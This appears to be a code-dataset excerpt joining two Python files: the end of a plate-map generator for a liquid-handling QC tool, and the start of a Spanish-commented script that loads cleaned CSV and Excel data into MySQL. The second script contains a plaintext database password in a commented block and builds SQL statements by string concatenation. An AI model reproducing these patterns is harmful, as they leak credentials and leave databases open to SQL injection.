platetype='384LDVS_AQ_B2'\n version='2'\n fluid = 'AQ'\n wells = 384\n geo = 'LDV'\n concentration=100\n impedance=1.48\n allmaps = []\n m = genMap(wells=wells,geo=geo,style='ICP',fluid=fluid,conc=concentration,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=wells, geo=geo,style='ICP',fluid=fluid,conc=concentration,version=version)\n allmaps.append(thisentry)\n style='FF'\n for vol in [2.75,4,6,7,8,9,10,12]:\n m = genMap(wells=wells,geo=geo,style=style,fluid=fluid,conc=concentration,version=version,volume=vol,impedance=impedance)\n thisentry = writeMap(m,platetype=platetype, nwells=wells, geo=geo,style=style,fluid=fluid,conc=concentration,version=version,vol=vol)\n allmaps.append(thisentry)\n return allmaps\n\ndef genLDVPlusGPMaps():\n platetype='384LDVS_PLUS_AQ_GP'\n version='2'\n wells = 384\n geo = 'LDV'\n fluid = 'GLY'\n allmaps = []\n m = genMap(wells=wells,geo=geo,style='UCP',fluid=fluid,version=version, instrument='525')\n thisentry = writeMap(m,platetype=platetype, nwells=wells, geo=geo, style='UCP',fluid=fluid,version=version)\n allmaps.append(thisentry)\n concentrations = [0,10,20,30,40,50]\n for c in concentrations:\n m = genMap(wells=wells,geo=geo,style='FT',conc=c,fluid=fluid,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=wells, geo=geo, style='FT',conc=c,fluid=fluid,version=version)\n allmaps.append(thisentry)\n vol=14\n style='DD' \n m = genMap(wells=wells,geo=geo,style=style,fluid=fluid,version='3',volume=vol)\n thisentry = writeMap(m,platetype=platetype,nwells=wells, geo=geo, style=style,fluid=fluid,version='3',vol=vol)\n allmaps.append(thisentry) \n return allmaps \n \ndef genLDVGPMaps(): \n platetype='384LDVS_AQ_GP'\n version='2'\n wells = 384\n geo = 'LDV'\n fluid = 'GLY'\n allmaps = []\n concentrations = [0,10,20]\n for c in concentrations:\n m = genMap(wells=wells,geo=geo,style='UCP',fluid=fluid,version=version,conc=c)\n thisentry = writeMap(m,platetype=platetype,nwells=wells,geo=geo,style='UCP',fluid=fluid,conc=c,version=version)\n allmaps.append(thisentry)\n return allmaps \n \ndef genDMSO2Maps():\n nwells = [384,1536]\n # platetypes = ['384PPG_DMSO2','384PPL_DMSO2']\n version='2'\n geo= ['PPG','PPL','LDV','HB']\n styles = ['SIG','UCP','ICP','FT']\n fluid = ['DMSO']\n concentrations = [70,75,80,85,90,95,100]\n allmaps = []\n for g in geo:\n for w in nwells:\n if ( g.startswith('PP')) and (w==1536):\n continue\n if ( g.startswith('PP') ):\n platetype = str(w) + g + '_DMSO2'\n gs = 'PP'\n else:\n if ( g.startswith('HB') and (w==384)):\n continue\n platetype = str(w) + g + 'S_DMSO'\n gs = g\n for f in fluid:\n for s in styles:\n if (( s == 'FT' ) or ( s == 'SIG' ) ):\n if ( s == 'SIG' ) and ( gs == 'HB' ):\n continue\n for c in concentrations:\n m = genMap(wells=w,geo=gs,style=s,fluid=f,conc=c,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=w, geo=gs,style=s,fluid=f,conc=c,version=version)\n allmaps.append(thisentry)\n else :\n m = genMap(wells=w,geo=gs,style=s,fluid=f,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=w, geo=gs,style=s,fluid=f,conc='-',version=version)\n allmaps.append(thisentry)\n \n #version 1 of UCP plates are the same as ICP \n version='1' \n styles = ['UCP']\n nwells = [1536]\n geo = ['LDV','HB']\n for g in geo:\n for w in nwells:\n if ( g.startswith('PP')) and (w==1536):\n continue\n if ( g.startswith('PP') ):\n platetype = str(w) + g + '_DMSO2'\n gs = 'PP'\n else:\n platetype = str(w) + g + 'S_DMSO'\n gs = g\n for f in fluid:\n for s in styles:\n if (( s == 'FT' ) or ( s == 'SIG' ) ):\n if ( s == 'SIG' ) and ( gs == 'HB' ):\n continue\n for c in concentrations:\n m = genMap(wells=w,geo=gs,style=s,fluid=f,conc=c,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=w, geo=gs,style=s,fluid=f,conc=c,version=version)\n allmaps.append(thisentry)\n else :\n m = genMap(wells=w,geo=gs,style=s,fluid=f,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=w, geo=gs,style=s,fluid=f,conc='-',version=version)\n allmaps.append(thisentry)\n \n \n geo = ['PPG','PPL']\n style = 'FT'\n fluid = 'DMSO'\n version = '1'\n nwells = 384 \n for g in geo: \n for c in concentrations:\n m = genMap(wells=nwells,geo=g[0:2],style=style,fluid=fluid,conc=c,version='1')\n # version = 1 above is superceded here by plate type 384PP_DMSO\n # version='2'\n p = '384' + g + '_DMSO'\n thisentry = writeMap(m,platetype=p, nwells=nwells, geo=g,style=style,fluid=fluid,conc=c,version=version)\n allmaps.append(thisentry)\n \n return allmaps\n\ndef genPPPlusGPMaps():\n nwells = 384\n platetypes = ['384PPG_PLUS_AQ_GP','384PPL_PLUS_AQ_GP']\n version = '2'\n geo= 'PP'\n\n for i, platetype in enumerate(platetypes): \n fluid='GLY'\n \n allmaps = []\n \n \n style='SIG'\n concentrations = [0,10,20,30,40,50,55]\n for c in concentrations:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=c,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c,version=version)\n allmaps.append(thisentry)\n \n style='ICP'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc='-',version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc='-',version=version)\n allmaps.append(thisentry)\n \n style = 'FT'\n concentrations = [10, 20, 30, 40, 50]\n for c in concentrations:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=c,version='1')\n m['mVolume'][m['mVolume']==50] = 65\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c,version=version)\n allmaps.append(thisentry)\n \n style='DD'\n vol=60\n fluid += '-DF'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc='-',version='3',volume=vol)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc='-',version='3', vol=vol) \n allmaps.append(thisentry)\n \n return allmaps \n\ndef genPPSPBPPlusMaps():\n nwells = 384\n platetypes = [ '384PPG_PLUS_AQ_SP', '384PPG_PLUS_AQ_BP', '384PPL_PLUS_AQ_SP', '384PPL_PLUS_AQ_BP' ]\n geo='PP'\n version='2'\n fluids = ['PBS14','PBS']\n vols = [20,30,40,65]\n \n allmaps = []\n \n impedance = 1.48\n \n for i, platetype in enumerate(platetypes):\n fluid = fluids[i%2]\n style = 'FT' \n # note version number here ! version 1 tricks vols to be 20,30,40,50 \n # overwrite 15\n \n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=100,impedance=impedance,version='1')\n m['mVolume'][m['mVolume']==50] = 65\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100, version=version)\n allmaps.append(thisentry) \n \n style = 'FF'\n for v in vols:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=100,version=version, volume=v)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100,vol=v,version=version)\n allmaps.append(thisentry)\n \n style='DD'\n vol=60 \n fluid += '-DF'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=100,version='3', volume=vol)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100,vol=vol,version='3')\n allmaps.append(thisentry)\n return allmaps\n\ndef gen525SPMaps():\n nwells = 384\n platetypes = ['384PPG_AQ_SP_High','384PPG_AQ_SP','384PPL_AQ_SP_High','384PPL_AQ_SP']\n geo='PP'\n version='2'\n \n allmaps = []\n # ICP plat e actually is FT plate\n style='FT'\n fluids = ['PBS200','PBS14']\n concentration=100\n impedance=1.48\n \n for i in range(0,len(platetypes)):\n fluid = fluids[i%len(fluids)] \n style='FT'\n platetype = platetypes[i]\n # note version number here ! version 1 tricks vols to be 20,30,40,50 \n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=concentration,impedance=impedance,version='1')\n # overwrite 15\n m['mVolume'][m['mVolume']==50] = 65\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=concentration,version=version)\n allmaps.append(thisentry)\n \n vols = [20,30,40,65]\n style = 'FF'\n \n for v in vols:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=concentration,impedance=impedance,version=version, volume=v)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100,vol=v,version=version)\n allmaps.append(thisentry)\n \n style='DD'\n vol=60 \n fluid += '-DF'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=concentration,impedance=impedance,version='3', volume=vol)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100,vol=vol,version='3')\n allmaps.append(thisentry)\n \n return allmaps\n\ndef gen525BPMaps():\n nwells = 384\n platetypes = ['384PPG_AQ_BP','384PPL_AQ_BP']\n geo='PP'\n version='2'\n \n allmaps = []\n # dimpleping map\n style='FF'\n fluid='PBS'\n concentration=100\n vol=40\n for platetype in platetypes:\n style='FF'\n fluid = 'PBS'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=concentration,version=version, volume=vol)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=concentration,vol=vol,version=version)\n allmaps.append(thisentry)\n \n vols = [20,30,40,65]\n style = 'FF'\n allmaps = []\n for v in vols:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=100,version=version, volume=v)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100,vol=v,version=version)\n allmaps.append(thisentry)\n \n style='DD'\n vol=60 \n fluid = 'PBS-DF'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=100,version='3', volume=vol)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=100,vol=vol,version='3')\n allmaps.append(thisentry)\n return allmaps\n\ndef gen525Lemonade():\n allmaps = []\n nwells = 384\n version = '2'\n geo = 'PP'\n style = 'UCP'\n concentrations = [0,10,20,50]\n platetypes = ['384PPL_PLUS_AQ_GP','384PPG_PLUS_AQ_GP']\n for p in platetypes:\n for i,c in enumerate(concentrations):\n m = genMap(wells=nwells,geo=geo,style=style,fluid='GLY',conc=c, version = version,instrument='525')\n thisentry = writeMap(m, platetype=p, nwells=nwells, geo=geo, style=style, fluid='GLY', fluidscale=True, fluidkey='GPS', conc=c, version=version)\n allmaps.append(thisentry)\n \n platetypes = ['384PPL_AQ_SP','384PPG_AQ_SP'] \n for p in platetypes:\n m = genMap(wells=nwells,geo=geo,style=style,fluid='PBS',conc=100, impedance=1.48, version = version, instrument='525') \n thisentry = writeMap(m, platetype=p, nwells=nwells, geo=geo, style=style, fluid='PBS', conc='100', fluidscale=True, version=version)\n allmaps.append(thisentry)\n return allmaps\n \ndef genPPPlusMaps():\n nwells = 384\n platetypes = ['384PPG_PLUS_AQ_GPSA','384PPG_PLUS_AQ_GPSB','384PPL_PLUS_AQ_GPSA','384PPL_PLUS_AQ_GPSB']\n version='2'\n geo='PP'\n \n fluids = ['GPS14','GPS25']\n allmaps = []\n for i,p in enumerate(platetypes):\n platetype = p\n fluid = fluids[i%2]\n style = 'ICP'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc='-',version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc='-',version=version)\n allmaps.append(thisentry)\n \n style = 'FT'\n concentrations = [10, 20, 30, 40, 50]\n \n for c in concentrations:\n # version number trick\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=c,version='1') \n m['mVolume'][m['mVolume']==50] = 65\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c,version=version)\n allmaps.append(thisentry)\n \n style='DD'\n fluid += '-DF'\n vol=60\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc='-',version='3',volume=vol)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc='-',version='3', vol=vol) \n allmaps.append(thisentry)\n return allmaps \n\ndef genAllTRXMaps():\n \n \n plate = {}\n plate['platetype'] = '96TRK_DMSO'\n plate['fluids'] = [ 'DMSO' ]\n plate['concentrations'] = [ 70, 75, 80, 85, 90, 95, 100]\n plate['version'] = '1'\n plate['volumes'] = [ '20', '55', '95']\n plate['styles'] = [ 'UCP', 'FF', 'FT'] \n dmsomap = genTRXMap(plate)\n \n plate = {}\n plate['platetype'] = '96TRK_AQ_GP'\n plate['fluids'] = [ 'GLY' ]\n plate['concentrations'] = [ 0, 10, 20, 30, 40, 45, 50, 55]\n plate['version'] = '1'\n plate['volumes'] = [ '20', '55', '95']\n plate['styles'] = [ 'UCP', 'FF', 'FT'] \n gpmap = genTRXMap(plate)\n \n plate = {}\n plate['platetype'] = '96TRK_AQ_SP'\n plate['fluids'] = ['PBS5','PBS14','PBS200']\n plate['concentrations'] = [ 100 ]\n plate['version'] = '1'\n plate['volumes'] = [ '20', '55', '95']\n plate['styles'] = [ 'UCP', 'FF', 'FT'] \n spmap = genTRX_SPMap(plate)\n# \n allmaps = dmsomap + gpmap + spmap\n\n return allmaps\n \ndef genTRXMap(platedict):\n nwells = 96\n geo = 'TR'\n allmaps = []\n styles = platedict['styles'] \n concentrations = platedict['concentrations']\n volumes = platedict['volumes']\n platetype = platedict['platetype']\n fluids = platedict['fluids']\n version = platedict['version']\n for fluid in fluids:\n for style in styles:\n for c in concentrations:\n if style == 'FF' :\n for v in volumes:\n m = genMap(wells=nwells, geo=geo, style=style, fluid=fluid, version=version, conc = c, volume=v)\n thisentry = writeMap(m, platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c, vol=v, version= version)\n allmaps.append(thisentry)\n else: \n m = genMap(wells=nwells, geo=geo, style=style, fluid=fluid, version=version, conc = c )\n thisentry = writeMap(m, platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c, version= version)\n allmaps.append(thisentry)\n \n return allmaps\n\ndef genTRX_SPMap(platedict):\n nwells = 96\n geo = 'TR'\n allmaps = []\n styles = platedict['styles'] \n concentrations = platedict['concentrations']\n volumes = platedict['volumes']\n platetype = platedict['platetype']\n fluids = platedict['fluids']\n version = platedict['version']\n for fluid in fluids:\n for style in styles:\n for c in concentrations:\n if style == 'FF' :\n for v in volumes:\n m = genMap(wells=nwells, geo=geo, style=style, fluid=fluid, version=version, impedance= 1.48, conc = c, volume=v)\n thisentry = writeMap(m, platetype=platetype, nwells=nwells, geo=geo, style=style, fluidscale=True, fluid=fluid, conc=c, vol=v, version= version)\n allmaps.append(thisentry)\n else: \n m = genMap(wells=nwells, geo=geo, style=style, fluid=fluid, version=version, conc = c, impedance=1.48)\n thisentry = writeMap(m, platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c, fluidscale=True, version= version)\n allmaps.append(thisentry)\n \n return allmaps\n \ndef genResMaps():\n nwells= 6\n geo = 'RES'\n allmaps = []\n platetypes = [ '6RESP_AQ_BP2', '6RESP_AQ_GPSA2', '6RESP_AQ_GPSB2' ] \n style = 'ICP'\n version = '2'\n fluids= [ 'GLY', 'GPS30' , 'GPS50']\n for i,p in enumerate(platetypes):\n fluid=fluids[i]\n m = genMap(wells=nwells,geo='RES',style=style,fluid=fluid,version=version, volume=2000)\n for i,r in m.iterrows():\n if (r.Row == 0) :\n conc = 10 \n else:\n conc = 30\n m.loc[i, 'mConc'] = conc\n m.loc[i, 'mImpedance'] = concToImpedance(conc,r.mFluid)\n thisentry = writeMap(m,platetype=p, nwells=nwells, geo=geo, style=style, fluid=fluid, conc='-',version=version)\n allmaps.append(thisentry)\n \n style = 'DD'\n platetypes_mpp = [ '6RESP_AQ_BP2', '6RESP_AQ_GPSA2', '6RESP_AQ_GPSB2', '6RESP_AQ_GPSB2' ] \n fluids_mpp = [ 'GLY', 'GPS5', 'GPS30' , 'GPS50']\n platetypes_dd = [ '6RESP_AQ_BP2', '6RESP_AQ_GPSA2', '6RESP_AQ_GPSB2' ] \n fluids_dd = [ 'GLY-T', 'GPS10-T', 'GPS50-T' ]\n vols = [ 2000, 2172]\n # ' MPP' plates are actually DD at 2 ml\n for ii,v in enumerate(vols):\n if (ii == 0):\n platetypes = platetypes_mpp\n fluids = fluids_mpp\n else:\n platetypes = platetypes_dd\n fluids = fluids_dd\n \n for i,p in enumerate(platetypes):\n fluid=fluids[i]\n m = genMap(wells=nwells,geo='RES',style=style,fluid=fluid,version=version, volume=v)\n for i,r in m.iterrows():\n if (r.Col == 0 ):\n conc = 0 + 20 *r.Row\n vol = r.mVolume\n else :\n if (r.Col == 1):\n conc = 10 + 20*r.Row\n vol = r.mVolume\n else : \n vol = 0\n m.loc[i, 'mConc'] = conc\n m.loc[i, 'mImpedance'] = concToImpedance(conc,r.mFluid)\n m.loc[i, 'mVolume'] = vol\n thisentry = writeMap(m,platetype=p, nwells=nwells, geo=geo, style=style, fluid=fluid, conc='-',version=version, vol=v)\n allmaps.append(thisentry)\n \n platetype = '6RESP_AQ_BP2'\n concentrations = [0,10,20,30,40]\n style='SIG'\n fluid='GLY'\n for c in concentrations:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=c,version=version, volume=2000) \n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo, style=style, fluid=fluid, conc=c,version=version)\n allmaps.append(thisentry)\n return allmaps \n \n \n \ndef genAllMaps(datespecific=False):\n ''' Master Function that will generate all platemaps. Note: The code takes a while to run. \n AllMaps.csv will be re-generated'''\n DMSO_MAPS = genDMSO2Maps()\n LDVS_PLUS_MAPS = genLDVPlusGPMaps()\n LDVS_GP_MAPS = genLDVGPMaps()\n OMICS_MAPS = gen384PP_Omics2Map()\n LDVAQ_MAPS = genLDVAQMaps()\n PPS_MAPS = genPPSPBPPlusMaps()\n GPPLUS_MAPS = genPPPlusGPMaps()\n GPSPLUS_MAPS = genPPPlusMaps()\n e525_BPMAPS = gen525BPMaps()\n e525_SPMAPS = gen525SPMaps()\n e525_LEMONADE = gen525Lemonade()\n # ALLMAPS = OMICS_MAPS\n RES_MAPS = genResMaps()\n TRK_MAPS = genAllTRXMaps()\n ALLMAPS = DMSO_MAPS + OMICS_MAPS + LDVAQ_MAPS + LDVS_PLUS_MAPS + LDVS_GP_MAPS\n ALLMAPS += PPS_MAPS + GPSPLUS_MAPS + GPPLUS_MAPS + e525_BPMAPS + e525_SPMAPS + RES_MAPS + e525_LEMONADE + TRK_MAPS\n ALLMAPS = LDVAQ_MAPS\n return writeAllMaps(ALLMAPS,datespecific)\n \ndef writeAllMaps(MapList, datespecific=False):\n ALLMAPSFrame = pandas.DataFrame(MapList)\n cols=['BarCode','PlateType','Style','Fluid','Conc','Vol','Version','Filename','Arena Part Number']\n date = datetime.datetime.now().strftime('%Y%m%d') \n basedir = os.path.join(os.path.dirname(__file__), 'PlateMaps')\n ALLMAPSFromFile = pandas.read_csv(basedir + '\\\\\\\\AllMaps.csv')\n ALLMAPSDataFrame = pandas.concat([ALLMAPSFrame, ALLMAPSFromFile])\n ALLMAPSDataFrame = ALLMAPSDataFrame.drop_duplicates(subset=['BarCode','PlateType','Style','Vol'])\n if (datespecific):\n filename = basedir + '\\\\AllMaps' + '_' + date + '.csv'\n else:\n filename = basedir + '\\\\AllMaps.csv'\n filename2 = basedir + '\\\\AllMaps' + '_' + date + '_Arena.csv'\n # back up just in case\n shutil.copy2(filename,filename2)\n ALLMAPSDataFrame[cols].to_csv(filename, index=False)\n return ALLMAPSFrame[cols]\n\n# note::\n# reprocess a certain part (e.g. because of bug or issue change) \n# m = genMaps.genLDVPlusGPMaps()\n# M = genMaps.writeAllMaps(m)\n \n","sub_path":"pyCyte/PlateQC/genMaps.py","file_name":"genMaps.py","file_ext":"py","file_size_in_byte":60212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583276237","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Los archivos deben de estar en la ruta especificada abajo.\n\nimport os\nimport xlrd\nimport csv\nimport codecs\nimport json\nimport mysql.connector\n\n\"\"\"\nNorman database\ninstancia = mysql.connector.connect(\n host = \"mysql.norman404.dev\",\n user = \"root\",\n passwd = \"norman95\",\n database = \"data\"\n)\n\"\"\"\n\ninstancia = mysql.connector.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"\",\n database = \"aseguradora\"\n)\n\ndef generarTabla(nombre, nColumnas, columnas):\n sql = \"CREATE TEMPORARY TABLE IF NOT EXISTS \"+nombre +\"(\"\n #sql = \"CREATE TABLE IF NOT EXISTS \"+nombre +\"(\"\n sql = sql + columnas[0] + \" VARCHAR(50)\"\n for n in range(nColumnas):\n if n != 0:\n sql = sql + \", \"+ columnas[n] + \" VARCHAR(50)\"\n sql = sql + \");\"\n cursor = instancia.cursor()\n cursor.execute(sql)\n\ndef insertSql(nombre, columnas, fila, lis):\n strFila = \"\\\",\\\"\".join(fila)\n strList = ','.join(lis)\n sql = \"INSERT \"+nombre+\"(\"+strList+\")VALUES(\\\"\"+strFila+\"\\\");\"\n cursor = instancia.cursor()\n cursor.execute(sql)\n\ndef normalize(s):\n replacements = (\n (\"á\", \"a\"),\n (\"é\", \"e\"),\n (\"í\", \"i\"),\n (\"ó\", \"o\"),\n (\"ú\", \"u\"),\n (\"ñ\", \"n\")\n )\n for a, b in replacements:\n s = s.replace(a, b).replace(a.upper(), b.upper())\n return s.replace(' ', '_')\ndef generarListYJsonFile(cabecera, nombre):\n lis = []\n for p in cabecera:\n formateado = normalize(p)\n formateado = '_' + formateado\n if formateado != '':\n lis.append(formateado)\n if '_' in lis:\n lis.remove(\"_\")\n j = json.dumps({nombre: lis})\n with open('json/'+nombre+'.json', 'w') as f:\n f.write(j)\n return lis\n\n\n\n\"\"\"\n Class Limpiador\n\"\"\"\nclass Limpiador:\n # Origen es donde estan todos los documentos\n # Destino es donde se generaran los nuevos documentos \n def Limpiar(self, origen, destino):\n # Ver archivos dentro del documento\n archivos = os.listdir(origen)\n for doc in archivos:\n nombre = doc.split('_')\n if nombre[0] == 'INEGI':\n self.INEGI(origen+'/'+doc, destino+'/'+doc)\n elif nombre[0] == 'FUNCIONARIO':\n self.FUNCIONARIO(origen, destino, doc)\n elif nombre[0] == 'PRODUCCION':\n self.PRODUCCION(origen, doc, destino)\n\n def INEGI(self, archivo, destino):\n file = open(archivo)\n reader = csv.reader(file)\n destino = open(destino, 'w')\n writer = csv.writer(destino)\n # Ver donde empieza la informacion\n header = []\n while len(header) < 2:\n header = next(reader)\n # Escribe los encabezados\n writer.writerow(header)\n\n # Usar solo la informacion importante\n data = [row for row in reader]\n for line in data:\n # Ignora lo final que no tiene celdas\n if len(line) < 2:\n break\n # Escribe la linea en el documento\n writer.writerow(line)\n \n def FUNCIONARIO(self, origen, destino, carpeta):\n # Ver todos los funcionarios\n fun = os.listdir(origen +'/'+carpeta)\n\n # Crear archivo final\n destino = open(destino + '/GENERAL_' + carpeta + '.csv', 'w')\n writer = csv.writer(destino)\n\n # Escribir headers\n header = ['Nom_compa2','pagina_web','des_calle','des_colon','des_deleg','num_codpo','des_cdad','NOM_PAIS','nombre_funcionario','cargo_funcionario','correo_electronico']\n writer.writerow(header)\n\n for f in fun:\n # Abrir funcionario x\n file = open('./Archivos/FUNCIONARIO/' + f)\n reader = csv.reader(codecs.EncodedFile(file, 'utf8', 'utf_8_sig'), delimiter=\",\")\n # Conseguir infomacion del funcionario\n data = []\n while 1:\n h = next(reader)\n if len(h) > 0:\n if h[0] == header[0]:\n d = next(reader)\n data += d\n if h[0] == header[1]:\n d = next(reader)\n data += d\n if h[0] == header[2]:\n d = next(reader)\n data += d\n if h[0] == header[8]:\n d = next(reader)\n data += d\n break\n # Escribir funcionario\n writer.writerow(data)\n\n def PRODUCCION(self, origen, archivo, destino):\n wb = xlrd.open_workbook(origen + '/' + archivo) \n sheet = wb.sheet_by_index(0)\n\n arc = archivo.split('.')\n\n saveFile = open(destino + '/' + arc[0] + '.csv', 'w')\n writer = csv.writer(saveFile)\n \n # For row 0 and column 0 \n val = sheet.cell_value(0, 0) \n\n row = 0\n colum = 0\n tableSize = 0\n\n # Encontrar inicio de la tabla\n while row < 10:\n val = sheet.cell_value(row, colum)\n if val == '':\n row += 1\n break\n row += 1\n\n header = []\n data = []\n\n # Conseguir headers\n val = '-'\n while 1:\n val = sheet.cell_value(row, colum)\n try:\n val = val.encode('utf-8')\n except:\n pass\n if val == '':\n break\n header.append(val)\n colum += 1\n # tamaño de la tabla\n tableSize = colum\n row += 1\n # Escribir cabeceras\n writer.writerow(header)\n\n # Recaudar iinformación\n while 1:\n colum = 0\n data = []\n while colum < tableSize:\n val = sheet.cell_value(row, colum)\n try:\n val = val.encode('utf-8')\n except:\n pass\n data.append(val)\n colum += 1\n # Escribir data\n if data[1] == '':\n break\n writer.writerow(data)\n row += 1\n \n def Mapear(self, ubicacion):\n contador = 0\n archivos = os.listdir(ubicacion)\n tables = []\n for documento in archivos:\n data = documento.split('_')\n nombre = data[1].split('.')\n \n if data[0] == 'INEGI':\n self.MAPEAR_INEGI(ubicacion + '/' + documento, \"_\"+str(contador)+\"_\"+nombre[0])\n else:\n self.MAPEAR_GENERAL(ubicacion + '/' + documento, \"_\"+str(contador)+\"_\"+nombre[0])\n \n tables.append(\"_\"+str(contador)+\"_\"+nombre[0])\n contador = contador + 1\n print('Procesando la tabla: '+ str(contador))\n return tables\n \n def MAPEAR_INEGI(self, ubicacion, nombre):\n file = open(ubicacion)\n tabla = csv.reader(codecs.EncodedFile(file, 'utf8', 'utf_8_sig'), delimiter=\",\")\n cabecera = next(tabla)\n cabecera[0] = nombre\n lis = generarListYJsonFile(cabecera, nombre)\n columnas = len(cabecera) - 1\n generarTabla(nombre, columnas, lis)\n # LISTA DE EXCEPCIONES (TUPLAS NO ADMITIDAS)\n listaDeExcepciones = (\n 'Total',\n 'Sin_evento',\n 'No_especificado',\n 'No_aplica_porque_el_conductor_se_fugo',\n 'No_aplica'\n )\n for fila in tabla:\n if len(fila) == columnas:\n fila[0] = normalize(fila[0])\n if fila[0] not in listaDeExcepciones:\n for n in range(columnas):\n fila[n] = normalize(fila[n])\n insertSql(nombre, columnas, fila, lis)\n return\n def MAPEAR_GENERAL(self, ubicacion, nombre):\n file = open(ubicacion)\n tabla = csv.reader(codecs.EncodedFile(file, 'utf8', 'utf_8_sig'), delimiter=\",\")\n cabecera = next(tabla)\n lis = generarListYJsonFile(cabecera, nombre)\n columnas = len(cabecera) - 1\n generarTabla(nombre, columnas, lis)\n listaDeExcepciones = (\n 'No_aplica'\n )\n for fila in tabla:\n if len(fila) == columnas:\n fila[0] = normalize(fila[0])\n if fila[0] not in listaDeExcepciones:\n for n in range(columnas):\n fila[n] = normalize(fila[n])\n insertSql(nombre, columnas, fila, lis)\n return\n\n def show_table(self, tabla):\n cursor = instancia.cursor()\n cursor.execute(\"DESCRIBE {}\".format(tabla))\n resultado = cursor.fetchall()\n for elemento in resultado:\n print(elemento)\n cursor.execute(\"SELECT * FROM {} LIMIT 5\".format(tabla))\n resultado = cursor.fetchall()\n for elemento in resultado:\n print(elemento)\n print(\"\\n\")\n\n\"\"\"\n Equipo 3\n\"\"\"\n\ndef make_tables(table_names, ubicacion):\n files = os.listdir(ubicacion)\n #months = read_json(\"meses.json\")\n\n for file in files:\n # Retrieves column names\n data = read_json(file)\n\n tmp_strs = file.split('.')\n for t_name in table_names:\n if tmp_strs[0] == t_name:\n define_table(t_name, data[t_name])\n\ndef read_json(filename):\n script_dir = os.path.dirname(__file__)\n rel_path = \"json/\"\n abs_file_path = os.path.join(script_dir, rel_path)\n with open(\"{}{}\".format(abs_file_path, filename)) as json_file:\n data = json.load(json_file)\n return data\n\ndef define_table(table_name, columns):\n if table_name == \"_6_EstadoDeVictimas\":\n sql_create_table = \"CREATE TABLE IF NOT EXISTS TipoVictimas(idTipo INT PRIMARY KEY AUTO_INCREMENT, \\\n typeDesc VARCHAR(30), UNIQUE(typeDesc))\"\n sql_distinct = \"SELECT DISTINCT _Categoria FROM _6_EstadoDeVictimas\"\n create_type_table(sql_create_table, \"TipoVictimas\", sql_distinct)\n #victim_type_table(table_name, columns)\n accidents_table(table_name, columns)\n elif table_name == \"_1_AccidentesPorZona\":\n accidents_zone_table(table_name, columns)\n elif table_name == \"_3_CausaDeAccidentes\":\n sql_create_table = \"CREATE TABLE IF NOT EXISTS TipoCausaAccidentes(idTipo INT PRIMARY KEY AUTO_INCREMENT, \\\n typeDesc VARCHAR(30), UNIQUE(typeDesc))\"\n sql_distinct = \"SELECT DISTINCT __3_CausaDeAccidentes FROM _3_CausaDeAccidentes\"\n create_type_table(sql_create_table, \"TipoCausaAccidentes\", sql_distinct)\n #accident_cause_type_table(table_name, columns)\n accidents_cause_table(table_name, columns)\n elif table_name == \"_7_GeneroDelConductor\":\n create_sql_table = \"CREATE TABLE IF NOT EXISTS TipoGeneros(idTipo INT PRIMARY KEY AUTO_INCREMENT, \\\n typeDesc VARCHAR(30), UNIQUE(typeDesc))\"\n distinct_sql = \"SELECT DISTINCT __7_GeneroDelConductor FROM _7_GeneroDelConductor\"\n create_type_table(create_sql_table, \"TipoGeneros\", 